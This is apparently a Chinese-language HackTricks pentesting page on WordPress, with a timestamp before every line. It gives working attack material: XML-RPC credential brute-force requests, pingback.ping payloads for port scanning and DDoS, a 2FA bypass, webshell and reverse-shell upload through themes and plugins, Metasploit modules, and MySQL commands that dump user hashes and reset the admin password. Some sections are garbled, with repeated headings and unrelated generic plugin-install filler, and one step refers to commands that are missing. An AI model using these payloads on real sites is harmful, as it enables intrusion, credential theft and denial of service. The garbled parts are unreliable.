2022-04-28 23:27:22 +00:00
# Wordpress
2022-04-28 16:01:33 +00:00
< details >
2023-09-04 23:26:05 +00:00
< summary > < a href = "https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology" > < strong > ☁️ HackTricks Cloud ☁️< / strong > < / a > -< a href = "https://twitter.com/hacktricks_live" > < strong > 🐦 Twitter 🐦< / strong > < / a > - < a href = "https://www.twitch.tv/hacktricks_live/schedule" > < strong > 🎙️ Twitch 🎙️< / strong > < / a > - < a href = "https://www.youtube.com/@hacktricks_LIVE" > < strong > 🎥 Youtube 🎥< / strong > < / a > < / summary >
2022-04-28 16:01:33 +00:00
2023-09-24 14:35:53 +00:00
* 你在一个**网络安全公司**工作吗? 你想在HackTricks中看到你的**公司广告**吗?或者你想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
2023-09-04 23:26:05 +00:00
* 发现我们的独家[NFT收藏品**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组** ](https://discord.gg/hRep4RUj7f ) 或者 [**telegram群组** ](https://t.me/peass ) 或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud repo** ](https://github.com/carlospolop/hacktricks-cloud ) **提交PR来分享你的黑客技巧。**
2022-04-28 16:01:33 +00:00
< / details >
2023-09-28 19:47:23 +00:00
< figure > < img src = "../../.gitbook/assets/image (3) (1) (1).png" alt = "" > < figcaption > < / figcaption > < / figure >
2022-06-06 22:28:05 +00:00
2023-01-01 16:19:07 +00:00
\
2023-09-24 14:35:53 +00:00
使用[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)可以轻松构建和**自动化工作流程**,使用全球**最先进**的社区工具。\
2023-08-03 19:12:22 +00:00
立即获取访问权限:
2022-06-06 22:28:05 +00:00
2023-01-01 16:19:07 +00:00
{% embed url="https://trickest.com/?utm_campaign=hacktrics& utm_medium=banner& utm_source=hacktricks" %}
2022-06-06 22:28:05 +00:00
2023-08-03 19:12:22 +00:00
## 基本信息
2020-07-15 15:43:14 +00:00
2023-08-03 19:12:22 +00:00
**上传**的文件保存在:`http://10.10.10.10/wp-content/uploads/2018/08/a.txt`\
2023-09-04 23:26:05 +00:00
**主题文件可以在/wp-content/themes/中找到**, 所以如果你更改了主题的某些php文件以获取RCE, 你可能会使用该路径。例如: 使用**twentytwelve主题**,你可以在以下位置访问**404.php**文件:[**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)\
**另一个有用的URL可能是: **[**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
2020-07-15 15:43:14 +00:00
2023-09-04 23:26:05 +00:00
在**wp-config.php**中,你可以找到数据库的根密码。
2020-07-15 15:43:14 +00:00
2023-08-03 19:12:22 +00:00
要检查的默认登录路径: _**/wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/**_
2020-07-15 15:43:14 +00:00
2023-09-04 23:26:05 +00:00
### **主要的WordPress文件**
2020-11-08 15:16:09 +00:00
* `index.php`
2023-09-04 23:26:05 +00:00
* `license.txt` 包含有用的信息, 如安装的WordPress版本。
* `wp-activate.php` 用于设置新的WordPress站点时的电子邮件激活过程。
2023-08-03 19:12:22 +00:00
* 登录文件夹(可能已重命名以隐藏):
* `/wp-admin/login.php`
* `/wp-admin/wp-login.php`
* `/login.php`
* `/wp-login.php`
2023-09-04 23:26:05 +00:00
* `xmlrpc.php` 是一个文件, 代表了WordPress的一个功能, 它使数据能够通过HTTP进行传输, HTTP充当传输机制, XML充当编码机制。这种类型的通信已被WordPress的[REST API](https://developer.wordpress.org/rest-api/reference)取代。
* `wp-content` 文件夹是存储插件和主题的主目录。
* `wp-content/uploads/` 是存储上传到平台的任何文件的目录。
* `wp-includes/` 这是存储核心文件的目录, 如证书、字体、JavaScript文件和小部件。
2020-11-08 15:16:09 +00:00
2023-09-04 23:26:05 +00:00
**渗透后**
2020-11-08 15:16:09 +00:00
2023-09-04 23:26:05 +00:00
* `wp-config.php` 文件包含WordPress连接到数据库所需的信息, 如数据库名称、数据库主机、用户名和密码、身份验证密钥和盐以及数据库表前缀。这个配置文件还可以用于激活DEBUG模式, 这在故障排除中很有用。
2020-11-08 15:16:09 +00:00
2023-08-03 19:12:22 +00:00
### 用户权限
2020-11-08 15:16:09 +00:00
2023-08-03 19:12:22 +00:00
* **管理员**
* **编辑**:发布和管理自己和其他人的帖子
* **作者**:发布和管理自己的帖子
* **贡献者**:编写和管理自己的帖子,但不能发布
* **订阅者**:浏览帖子并编辑自己的个人资料
2020-11-08 15:16:09 +00:00
2023-08-03 19:12:22 +00:00
## **被动枚举**
2020-11-08 15:16:09 +00:00
2023-09-04 23:26:05 +00:00
### **获取WordPress版本**
2020-11-08 15:16:09 +00:00
2023-09-04 23:26:05 +00:00
检查是否可以找到文件`/license.txt`或`/readme.html`
2020-11-08 15:16:09 +00:00
2023-09-04 23:26:05 +00:00
在页面的**源代码**中(例如来自[https://wordpress.org/support/article/pages/](https://wordpress.org/support/article/pages/)的示例):
2020-11-08 15:16:09 +00:00
2022-10-02 23:08:05 +00:00
* grep
```bash
curl https://victim.com/ | grep 'content="WordPress'
```
2023-09-03 18:16:18 +00:00
### 获取插件
2020-11-08 15:16:09 +00:00
2023-09-03 18:16:18 +00:00
To get the plugins, you can follow these steps:
2020-11-08 15:16:09 +00:00
2023-09-03 18:16:18 +00:00
1. Access the WordPress admin dashboard.
2023-09-28 19:47:23 +00:00
2. Go to the "Plugins" section.
3. Click on the "Add New" button.
4. Search for the desired plugin using the search bar.
5. Once you find the plugin, click on the "Install Now" button.
6. After the installation is complete, click on the "Activate" button to activate the plugin.
2020-11-08 15:16:09 +00:00
2023-09-03 18:16:18 +00:00
### 获取插件
2020-11-08 15:16:09 +00:00
2023-09-03 18:16:18 +00:00
要获取插件,您可以按照以下步骤进行操作:
2020-11-08 15:16:09 +00:00
2023-09-03 18:16:18 +00:00
1. 访问WordPress管理后台。
2023-09-28 19:47:23 +00:00
2. 进入“插件”部分。
3. 点击“添加新插件”按钮。
4. 使用搜索栏搜索所需的插件。
5. 找到插件后,点击“立即安装”按钮。
6. 安装完成后,点击“激活”按钮以激活插件。
2020-07-15 15:43:14 +00:00
```bash
2020-11-08 15:16:09 +00:00
curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/plugins/' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
```
2023-09-03 18:16:18 +00:00
To get themes for your WordPress website, you can follow these steps:
2023-08-03 19:12:22 +00:00
2023-09-03 18:16:18 +00:00
1. Go to the WordPress admin dashboard.
2. Click on "Appearance" in the left-hand menu.
3. Select "Themes" from the dropdown menu.
4. You will see a list of available themes. You can browse through them or use the search bar to find a specific theme.
2023-09-28 19:47:23 +00:00
5. Once you find a theme you like, click on the "Preview" button to see how it will look on your website.
6. If you are satisfied with the preview, click on the "Install" button to add the theme to your website.
7. After the theme is installed, click on the "Activate" button to make it the active theme for your website.
2023-08-03 19:12:22 +00:00
2023-09-03 18:16:18 +00:00
That's it! You have successfully obtained and installed a new theme for your WordPress website.
2020-11-08 15:16:09 +00:00
```bash
curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/themes' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
```
2023-08-03 19:12:22 +00:00
### 提取版本信息
2023-09-03 18:16:18 +00:00
To extract the version of WordPress being used on a website, you can follow these steps:
2020-11-08 15:16:09 +00:00
2023-09-03 18:16:18 +00:00
1. **Manual Inspection** : Look for any version information displayed on the website's frontend or backend. This could be found in the footer, admin dashboard, or any other visible area.
2020-11-08 15:16:09 +00:00
2023-09-03 18:16:18 +00:00
2. **Page Source** : View the page source code by right-clicking on the webpage and selecting "View Page Source" or using the browser's developer tools. Search for keywords like "version" or "wp-version" to find any references to the WordPress version.
2023-08-03 19:12:22 +00:00
2023-09-28 19:47:23 +00:00
3. **Readme.html** : WordPress installations often include a readme.html file. Access this file by appending "/readme.html" to the website's URL (e.g., `http://example.com/readme.html` ). The WordPress version may be mentioned in this file.
2023-08-03 19:12:22 +00:00
2023-09-28 19:47:23 +00:00
4. **Readme.txt** : Some WordPress installations have a readme.txt file in the root directory. You can access it by appending "/readme.txt" to the website's URL (e.g., `http://example.com/readme.txt` ). Look for the version information in this file.
2023-08-03 19:12:22 +00:00
2023-09-28 19:47:23 +00:00
5. **Version Checkers** : There are online tools and plugins available that can check the WordPress version of a website by simply entering its URL. These tools can provide accurate results and save time.
2023-08-03 19:12:22 +00:00
2023-09-28 19:47:23 +00:00
Remember, it is important to keep your WordPress installation up to date to ensure security and prevent vulnerabilities associated with older versions.
2020-11-08 15:16:09 +00:00
```bash
curl -s -X GET https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
2020-07-15 15:43:14 +00:00
```
2023-09-28 19:47:23 +00:00
< figure > < img src = "../../.gitbook/assets/image (3) (1) (1).png" alt = "" > < figcaption > < / figcaption > < / figure >
2022-06-06 22:28:05 +00:00
2023-09-28 19:47:23 +00:00
使用[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)可以轻松构建和自动化由全球最先进的社区工具提供支持的工作流程。
2023-08-03 19:12:22 +00:00
立即获取访问权限:
2022-06-06 22:28:05 +00:00
2023-01-01 16:19:07 +00:00
{% embed url="https://trickest.com/?utm_campaign=hacktrics& utm_medium=banner& utm_source=hacktricks" %}
2022-06-06 22:28:05 +00:00
2023-08-03 19:12:22 +00:00
## 主动枚举
2020-11-08 15:16:09 +00:00
2023-08-03 19:12:22 +00:00
### 插件和主题
2020-11-08 15:16:09 +00:00
2023-09-28 19:47:23 +00:00
您可能无法找到所有可能的插件和主题。为了发现它们的全部,您需要**主动暴力破解插件和主题的列表**(幸运的是,有自动化工具包含了这些列表)。
2020-07-15 15:43:14 +00:00
2023-08-03 19:12:22 +00:00
### 用户
2020-11-08 15:16:09 +00:00
2023-08-03 19:12:22 +00:00
**ID暴力破解**
2020-11-08 15:16:09 +00:00
2023-09-28 19:47:23 +00:00
通过暴力破解用户ID, 您可以获取WordPress网站上的有效用户:
2021-10-18 11:21:18 +00:00
```
2020-11-08 15:16:09 +00:00
curl -s -I -X GET http://blog.example.com/?author=1
```
2023-09-03 18:16:18 +00:00
如果响应是 **200** 或 **30X** ,那意味着该 id 是 **有效** 的。如果响应是 **400** ,那么该 id 是 **无效** 的。
2020-11-08 15:16:09 +00:00
2022-04-28 23:27:22 +00:00
**wp-json**
2020-11-08 15:16:09 +00:00
2023-09-03 18:16:18 +00:00
您还可以尝试通过查询来获取有关用户的信息:
2021-10-18 11:21:18 +00:00
```
2020-11-08 15:16:09 +00:00
curl http://blog.example.com/wp-json/wp/v2/users
```
2023-08-03 19:12:22 +00:00
**只提供启用了此功能的用户的信息**。
2020-11-08 15:16:09 +00:00
2023-08-03 19:12:22 +00:00
还要注意,**/wp-json/wp/v2/pages**可能会泄露IP地址。
2022-10-02 23:08:05 +00:00
2023-08-03 19:12:22 +00:00
#### 登录用户名枚举
2022-10-02 23:08:05 +00:00
2023-09-03 18:16:18 +00:00
当登录到**`/wp-login.php`**时,**消息**会根据指定的**用户名是否存在**而有所不同。
2020-07-15 15:43:14 +00:00
2022-05-01 16:57:45 +00:00
### XML-RPC
2020-07-15 15:43:14 +00:00
2023-09-03 18:16:18 +00:00
如果`xml-rpc.php`处于活动状态, 您可以执行凭据暴力破解或使用它来发动对其他资源的DoS攻击( 例如, 您可以使用[这个](https://github.com/relarizky/wpxploit)来自动化此过程)。
2020-07-15 15:43:14 +00:00
2023-09-03 18:16:18 +00:00
要查看它是否处于活动状态, 请尝试访问_**/xmlrpc.php**_并发送此请求:
2020-07-15 15:43:14 +00:00
2023-08-03 19:12:22 +00:00
**检查**
2020-07-15 15:43:14 +00:00
```markup
< methodCall >
< methodName > system.listMethods< / methodName >
< params > < / params >
< / methodCall >
```
![](https://h3llwings.files.wordpress.com/2019/01/list-of-functions.png?w=656)
2023-08-03 19:12:22 +00:00
**凭证暴力破解**
2020-07-15 15:43:14 +00:00
2023-09-28 19:47:23 +00:00
**`wp.getUserBlogs`**、**`wp.getCategories`**或**`metaWeblog.getUsersBlogs`**是一些可以用于暴力破解凭证的方法。如果你能找到其中任何一个,你可以发送类似以下内容的请求:
2020-07-15 15:43:14 +00:00
```markup
< methodCall >
< methodName > wp.getUsersBlogs< / methodName >
< params >
< param > < value > admin< / value > < / param >
< param > < value > pass< / value > < / param >
< / params >
< / methodCall >
```
2023-08-03 19:12:22 +00:00
如果凭据无效, 应该在200状态码的响应中显示消息_"用户名或密码不正确"_。
2020-07-15 15:43:14 +00:00
2023-09-03 18:16:18 +00:00
![](< .. / . . / . gitbook / assets / image ( 107 ) ( 2 ) ( 2 ) ( 2 ) ( 2 ) ( 2 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 4 ) . png > )
![](< .. / . . / . gitbook / assets / image ( 102 ) . png > )
使用正确的凭据,您可以上传文件。在响应中,路径将显示为([https://gist.github.com/georgestephanis/5681982](https://gist.github.com/georgestephanis/5681982))。
2022-10-08 16:35:25 +00:00
```markup
<?xml version='1.0' encoding='utf-8'?>
< methodCall >
2023-08-03 19:12:22 +00:00
< methodName > wp.uploadFile< / methodName >
< params >
< param > < value > < string > 1< / string > < / value > < / param >
< param > < value > < string > username< / string > < / value > < / param >
< param > < value > < string > password< / string > < / value > < / param >
< param >
< value >
< struct >
< member >
< name > name< / name >
< value > < string > filename.jpg< / string > < / value >
< / member >
< member >
< name > type< / name >
< value > < string > mime/type< / string > < / value >
< / member >
< member >
< name > bits< / name >
< value > < base64 > <![CDATA[---base64-encoded-data---]]> < / base64 > < / value >
< / member >
< / struct >
< / value >
< / param >
< / params >
2022-10-08 16:35:25 +00:00
< / methodCall >
```
2023-09-03 18:16:18 +00:00
同时,还有一种更快的方法可以使用`system.multicall`来暴力破解凭据,因为您可以在同一个请求中尝试多个凭据:
2020-07-15 15:43:14 +00:00
2022-10-22 15:26:54 +00:00
< figure > < img src = "../../.gitbook/assets/image (188).png" alt = "" > < figcaption > < / figcaption > < / figure >
2020-07-15 15:43:14 +00:00
2023-08-03 19:12:22 +00:00
**绕过双因素认证**
2022-02-09 20:26:27 +00:00
2023-09-24 14:35:53 +00:00
此方法适用于程序而非人类,并且已经过时,因此不支持双因素认证。因此,如果您拥有有效的凭据但主入口受到双因素认证的保护,**您可能能够滥用xmlrpc.php以绕过双因素认证进行登录**。请注意, 您将无法执行通过控制台可以执行的所有操作, 但您可能仍然能够实现RCE, 就像Ippsec在[https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s)中所解释的那样。
2022-02-09 20:26:27 +00:00
2023-08-03 19:12:22 +00:00
**DDoS或端口扫描**
2020-07-15 15:43:14 +00:00
2023-08-03 19:12:22 +00:00
如果您可以在列表中找到方法_**pingback.ping**_, 则可以让WordPress向任何主机/端口发送任意请求。\
这可以用于要求**数千个**WordPress**站点**访问一个**位置**(从而在该位置引起**DDoS**),或者您可以使用它来使**WordPress**扫描一些内部**网络**(您可以指定任何端口)。
2020-07-15 15:43:14 +00:00
```markup
< methodCall >
< methodName > pingback.ping< / methodName >
< params > < param >
< value > < string > http://< YOUR SERVER > :< port > < / string > < / value >
< / param > < param > < value > < string > http://< SOME VALID BLOG FROM THE SITE > < / string >
< / value > < / param > < / params >
< / methodCall >
```
2023-06-06 22:57:49 +00:00
![](../../.gitbook/assets/1\_JaUYIZF8ZjDGGB7ocsZC-g.png)
2020-07-15 15:43:14 +00:00
2023-09-03 18:16:18 +00:00
如果你得到的**faultCode**值**大于**0( 17) , 那意味着端口是开放的。
2020-07-15 15:43:14 +00:00
2023-09-03 18:16:18 +00:00
请参考前一节中对**`system.multicall`**的使用,了解如何滥用该方法来发起 DDoS 攻击。
2020-07-15 15:43:14 +00:00
2022-12-09 14:47:58 +00:00
**DDoS**
2020-07-15 15:43:14 +00:00
```markup
< methodCall >
2023-08-03 19:12:22 +00:00
< methodName > pingback.ping< / methodName >
< params >
< param > < value > < string > http://target/< / string > < / value > < / param >
< param > < value > < string > http://yoursite.com/and_some_valid_blog_post_url< / string > < / value > < / param >
< / params >
2020-07-15 15:43:14 +00:00
< / methodCall >
```
2021-10-18 11:21:18 +00:00
![](< .. / . . / . gitbook / assets / image ( 103 ) . png > )
2020-07-15 15:43:14 +00:00
2022-12-09 14:47:58 +00:00
### wp-cron.php DoS
2023-08-03 19:12:22 +00:00
该文件通常位于WordPress网站的根目录下: **`/wp-cron.php`**\
当访问该文件时,会执行一个“**繁重**”的MySQL **查询** ,因此攻击者可以利用它来造成**拒绝服务( DoS) **。\
2023-09-03 18:16:18 +00:00
此外,默认情况下,`wp-cron.php`会在每次页面加载时调用( 每当客户端请求任何WordPress页面时) , 这在高流量网站上可能会引起问题( DoS) 。
2022-12-09 14:47:58 +00:00
2023-08-03 19:12:22 +00:00
建议禁用Wp-Cron, 并在主机内创建一个真正的cronjob, 以在规定的时间间隔内执行所需的操作( 而不会引起问题) 。
2022-12-09 14:47:58 +00:00
2022-05-01 16:57:45 +00:00
### /wp-json/oembed/1.0/proxy - SSRF
2020-07-15 15:43:14 +00:00
2023-08-03 19:12:22 +00:00
尝试访问_https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_, WordPress网站可能会向您发出请求。
2020-07-15 15:43:14 +00:00
2023-08-03 19:12:22 +00:00
当它不起作用时,这是响应:
2020-07-15 15:43:14 +00:00
2022-09-30 10:43:59 +00:00
![](< .. / . . / . gitbook / assets / image ( 184 ) ( 1 ) . png > )
2020-07-15 15:43:14 +00:00
2022-05-01 16:57:45 +00:00
### SSRF
2020-07-15 15:43:14 +00:00
{% embed url="https://github.com/t0gu/quickpress/blob/master/core/requests.go" %}
2023-08-03 19:12:22 +00:00
该工具检查**methodName: pingback.ping**和路径**/wp-json/oembed/1.0/proxy**是否存在,如果存在,则尝试利用它们。
2020-11-08 15:16:09 +00:00
2023-08-03 19:12:22 +00:00
### 自动化工具
2020-11-08 15:16:09 +00:00
```bash
cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0"
2022-02-09 20:26:27 +00:00
wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token < API_TOKEN > --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs)
2020-11-08 15:16:09 +00:00
#You can try to bruteforce the admin user using wpscan with "-U admin"
```
2023-09-28 19:47:23 +00:00
< figure > < img src = "../../.gitbook/assets/image (3) (1) (1).png" alt = "" > < figcaption > < / figcaption > < / figure >
2022-06-06 22:28:05 +00:00
2023-09-28 19:47:23 +00:00
使用[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)可以轻松构建和自动化由全球最先进的社区工具提供支持的工作流程。
2023-08-03 19:12:22 +00:00
立即获取访问权限:
2022-06-06 22:28:05 +00:00
2023-01-01 16:19:07 +00:00
{% embed url="https://trickest.com/?utm_campaign=hacktrics& utm_medium=banner& utm_source=hacktricks" %}
2022-06-06 22:28:05 +00:00
2023-08-03 19:12:22 +00:00
## 通过覆盖一个位获取访问权限
2022-06-23 12:12:25 +00:00
2023-09-28 19:47:23 +00:00
这更像是一种好奇心而不是真正的攻击。在CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man ](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man )中, 您可以翻转任何WordPress文件的1位。因此, 您可以翻转文件`/var/www/html/wp-includes/user.php`的位置`5389`以使NOT( `!`)操作无效。
2022-06-23 12:12:25 +00:00
```php
2023-08-03 19:12:22 +00:00
if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
return new WP_Error(
2022-06-23 12:12:25 +00:00
```
2023-08-03 19:12:22 +00:00
## **面板远程代码执行( RCE) **
2022-06-23 12:12:25 +00:00
2023-08-03 19:12:22 +00:00
**修改使用的主题中的php文件( 需要管理员凭据) **
2020-07-15 15:43:14 +00:00
2023-08-03 19:12:22 +00:00
外观 → 主题编辑器 → 404模板( 在右侧)
2020-07-15 15:43:14 +00:00
2023-08-03 19:12:22 +00:00
更改php shell的内容:
2020-07-15 15:43:14 +00:00
2022-12-24 19:34:46 +00:00
![](< .. / . . / . gitbook / assets / image ( 21 ) ( 1 ) ( 1 ) . png > )
2020-07-15 15:43:14 +00:00
2023-09-03 18:16:18 +00:00
在互联网上搜索如何访问更新后的页面。在这种情况下,您需要访问此处:[http://10.11.1.234/wp-content/themes/twentytwelve/404.php](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
2020-07-15 15:43:14 +00:00
2022-05-01 16:57:45 +00:00
### MSF
2020-07-15 15:43:14 +00:00
2023-08-03 19:12:22 +00:00
您可以使用:
2021-10-18 11:21:18 +00:00
```
2020-07-15 15:43:14 +00:00
use exploit/unix/webapp/wp_admin_shell_upload
```
2023-08-03 19:12:22 +00:00
## 插件远程代码执行( RCE)
2020-07-15 15:43:14 +00:00
2023-08-03 19:12:22 +00:00
### PHP插件
2020-12-27 11:12:11 +00:00
2023-09-28 19:47:23 +00:00
可能可以将.php文件作为插件上传。\
例如, 使用以下代码创建您的php后门:
2020-12-27 11:12:11 +00:00
2021-10-18 11:21:18 +00:00
![](< .. / . . / . gitbook / assets / image ( 407 ) . png > )
2020-12-27 11:12:11 +00:00
2023-08-03 19:12:22 +00:00
然后添加一个新的插件:
2020-12-27 11:12:11 +00:00
2021-10-18 11:21:18 +00:00
![](< .. / . . / . gitbook / assets / image ( 409 ) . png > )
2020-12-27 11:12:11 +00:00
2023-08-03 19:12:22 +00:00
上传插件并点击立即安装:
2020-12-27 11:12:11 +00:00
2021-10-18 11:21:18 +00:00
![](< .. / . . / . gitbook / assets / image ( 411 ) . png > )
2020-12-27 11:12:11 +00:00
2023-09-03 18:16:18 +00:00
点击"Procced":
2020-12-27 11:12:11 +00:00
2021-10-18 11:21:18 +00:00
![](< .. / . . / . gitbook / assets / image ( 412 ) . png > )
2020-12-27 11:12:11 +00:00
2023-08-03 19:12:22 +00:00
可能这看起来似乎没有任何作用, 但是如果您转到媒体库, 您将看到您上传的shell:
2020-12-27 11:12:11 +00:00
2021-10-18 11:21:18 +00:00
![](< .. / . . / . gitbook / assets / image ( 413 ) . png > )
2020-12-27 11:12:11 +00:00
2023-08-03 19:12:22 +00:00
访问它, 您将看到执行反向shell的URL:
2020-12-27 11:12:11 +00:00
2021-10-18 11:21:18 +00:00
![](< .. / . . / . gitbook / assets / image ( 414 ) . png > )
2020-12-27 11:12:11 +00:00
2023-08-03 19:12:22 +00:00
### 上传和激活恶意插件
2020-12-27 11:12:11 +00:00
2023-08-03 19:12:22 +00:00
**(此部分内容摘自** [**https://www.hackingarticles.in/wordpress-reverse-shell/** ](https://www.hackingarticles.in/wordpress-reverse-shell/ )**)**
2020-12-27 11:12:11 +00:00
2023-08-03 19:12:22 +00:00
有时登录用户没有可写权限来修改WordPress主题, 因此我们选择“注入WP插件恶意代码”作为获取Web shell的替代策略。
2020-12-27 11:12:11 +00:00
2023-08-03 19:12:22 +00:00
因此, 一旦您可以访问WordPress仪表板, 您可以尝试安装恶意插件。在这里, 我已经从exploit db下载了易受攻击的插件。
2020-12-27 11:12:11 +00:00
2023-08-03 19:12:22 +00:00
点击[**这里**](https://www.exploit-db.com/exploits/36374)下载练习所需的插件。
2020-12-27 11:12:11 +00:00
2021-11-30 16:46:07 +00:00
![](https://i1.wp.com/1.bp.blogspot.com/-Y\_Aw7zSFJZs/XY9pymSjdvI/AAAAAAAAguY/FGyGEzlx9VIqNYyyra9r55IklNmwXwMQwCLcBGAsYHQ/s1600/10.png?w=687\&ssl=1)
2020-12-27 11:12:11 +00:00
2023-08-03 19:12:22 +00:00
由于我们有插件的zip文件, 现在是时候上传插件了。
2020-12-27 11:12:11 +00:00
2023-08-03 19:12:22 +00:00
仪表板 > 插件 > 上传插件
2020-12-27 11:12:11 +00:00
2021-11-30 16:46:07 +00:00
![](https://i0.wp.com/1.bp.blogspot.com/-FLhqB0I32Mg/XY9pyrlKWAI/AAAAAAAAguU/tofpIetTCv4Mho5y5D\_sDuuokC7mDmKowCLcBGAsYHQ/s1600/11.png?w=687\&ssl=1)
2020-12-27 11:12:11 +00:00
2023-09-03 18:16:18 +00:00
选择下载的zip文件, 如图所示。
2020-12-27 11:12:11 +00:00
2021-10-18 11:21:18 +00:00
![](https://i2.wp.com/1.bp.blogspot.com/-KMumiwE2Tf0/XY9pzznEI4I/AAAAAAAAguk/BavBJP6plFo8NIpa38oWEKfx0jkOXv3HgCLcBGAsYHQ/s1600/12.png?w=687\&ssl=1)
2020-12-27 11:12:11 +00:00
2023-08-03 19:12:22 +00:00
一旦成功安装了插件包,我们需要激活插件。
2020-12-27 11:12:11 +00:00
2021-10-18 11:21:18 +00:00
![](https://i2.wp.com/1.bp.blogspot.com/-YrFg94Y2EZs/XY9pzydfLDI/AAAAAAAAgug/AjZyQ6Na8kUUmquJXwoapxcmr2-8nAMwQCLcBGAsYHQ/s1600/13.png?w=687\&ssl=1)
2020-12-27 11:12:11 +00:00
2023-09-28 19:47:23 +00:00
一切准备就绪后, 开始利用。由于我们已经安装了名为“reflex-gallery”的易受攻击的插件, 因此很容易进行利用。
2020-12-27 11:12:11 +00:00
2023-09-28 19:47:23 +00:00
您将在Metasploit框架中找到此漏洞的利用, 因此加载以下模块并执行以下命令:
2020-12-27 11:12:11 +00:00
2023-08-03 19:12:22 +00:00
执行上述命令后, 您将获得meterpreter会话。正如本文所述, 有多种方法可以利用WordPress平台的网站。
2020-12-27 11:12:11 +00:00
2021-11-30 16:46:07 +00:00
![](https://i1.wp.com/1.bp.blogspot.com/-s6Yblqj-zQ8/XY9pz0qYWAI/AAAAAAAAguo/WXgEBKIB64Ian\_RQWaltbEtdzCNpexKOwCLcBGAsYHQ/s1600/14.png?w=687\&ssl=1)
2020-12-27 11:12:11 +00:00
2023-08-03 19:12:22 +00:00
## 后渗透
2020-07-15 15:43:14 +00:00
2023-08-03 19:12:22 +00:00
提取用户名和密码:
2020-11-08 15:16:09 +00:00
```bash
2020-07-15 15:43:14 +00:00
mysql -u < USERNAME > --password=< PASSWORD > -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;"
```
2023-08-03 19:12:22 +00:00
更改管理员密码:
2020-11-08 15:16:09 +00:00
```bash
2020-07-15 15:43:14 +00:00
mysql -u < USERNAME > --password=< PASSWORD > -h localhost -e "use wordpress;UPDATE wp_users SET user_pass=MD5('hacked') WHERE ID = 1;"
```
2023-08-03 19:12:22 +00:00
## WordPress保护
2020-07-15 15:43:14 +00:00
2023-08-03 19:12:22 +00:00
### 定期更新
2020-11-08 15:16:09 +00:00
2023-08-03 19:12:22 +00:00
确保WordPress、插件和主题都是最新版本。还要确认在wp-config.php中启用了自动更新:
2020-11-08 15:16:09 +00:00
```bash
define( 'WP_AUTO_UPDATE_CORE', true );
add_filter( 'auto_update_plugin', '__return_true' );
add_filter( 'auto_update_theme', '__return_true' );
```
2023-08-03 19:12:22 +00:00
此外,**只安装可信赖的WordPress插件和主题**。
2020-11-08 15:16:09 +00:00
2023-08-03 19:12:22 +00:00
### 安全插件
2020-11-08 15:16:09 +00:00
2022-02-09 18:48:09 +00:00
* [**Wordfence Security** ](https://wordpress.org/plugins/wordfence/ )
* [**Sucuri Security** ](https://wordpress.org/plugins/sucuri-scanner/ )
* [**iThemes Security** ](https://wordpress.org/plugins/better-wp-security/ )
2020-11-08 15:16:09 +00:00
2023-08-03 19:12:22 +00:00
### **其他建议**
2020-11-08 15:16:09 +00:00
2023-08-03 19:12:22 +00:00
* 删除默认的**admin**用户
* 使用**强密码**和**双因素认证**
2023-09-24 14:35:53 +00:00
* 定期**审查**用户**权限**
2023-08-03 19:12:22 +00:00
* **限制登录尝试**以防止暴力破解攻击
* 重命名**`wp-admin.php`**文件, 并仅允许内部访问或特定IP地址访问。
2020-11-08 15:16:09 +00:00
2023-09-28 19:47:23 +00:00
< figure > < img src = "../../.gitbook/assets/image (3) (1) (1).png" alt = "" > < figcaption > < / figcaption > < / figure >
